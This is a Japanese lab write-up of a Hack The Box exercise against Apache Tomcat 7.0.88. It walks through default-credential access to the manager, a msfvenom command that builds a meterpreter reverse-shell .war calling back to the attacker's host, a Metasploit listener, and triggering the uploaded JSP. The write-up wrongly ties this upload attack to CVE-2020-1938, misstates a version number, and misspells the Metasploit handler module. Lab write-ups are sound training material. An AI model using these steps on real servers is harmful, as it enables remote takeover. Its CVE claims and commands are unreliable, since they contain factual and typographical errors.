CVE-2020-1938 悪用

Apache Tomcat における任意のJSPアップロードからRCEに至る脆弱性

説明

CVE-2020-1938 は、Apache Tomcat のバージョン 9.0.0.M1 から 9.0.0.30、8.5.0 から 8.5.50、および 7.0.0 から 7.0.99 に影響する重大な脆弱性です ⚠️ これは Hack The Box のラボで悪用されました。

🔗 参考: NIST NVD エントリ

偵察

攻撃ベクトルの特定

1. ウェブサイトでは Server Status 機能にデフォルトの認証情報が使用されている。

2. このインターフェースから、バージョンが Apache Tomcat/7.0.88、64 ビットアーキテクチャであることがわかる。

3. このインターフェースからアプリケーション一覧に移動すると、.war ファイルの アップロード 機能が露出している。

4. アップロードに成功すると、.war ファイルは /directory/filename で実行される。

5. Apache Tomcat のバージョンを調査した結果、CVE-2020-1938 に対する脆弱性が確認された。

6. 悪用

.war ファイルの生成

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.3 LPORT=3004 -f war -o exploit.war

Metasploit のペイロードジェネレータである msfvenom を使用して、exploit.war ペイロードを生成します。

1. -p windows/x64/meterpreter_reverse_tcp はペイロードの種類 (今回の場合、Server Status で特定した 64 ビット)
2. LHOST=10.10.14.3 LPORT=3004 は攻撃マシンへのリバース接続の詳細
3. -f war はファイル形式
4. -o exploit.war は出力ファイル名

ファイル生成後、そのファイル内で .jsp ファイルの名前 (例: gcvxdtmxvw.jsp) を確認し、後で使用するために保存します。

Metasploit のセットアップ

msfconsole
use exploit/multi/hanlder
Set LHOST 10.10.14.3
Set LPORT 3004

msfconsole を使用して、ペイロードが実行されるのを待機するリスナーをセットアップします。

悪意のあるファイルのアップロードと実行

デプロイセクションでイメージをアップロードし、その後画面をリフレッシュすると、ファイルが正常にアップロードされたことがわかります。エクスプロイトを完了するには、パス ip/hacked/gcvxdtmxvw.jsp に移動する必要があります。

これによりリクエストがハングしますが、ローカルマシン上でリバース接続が確立されたことを確認できます。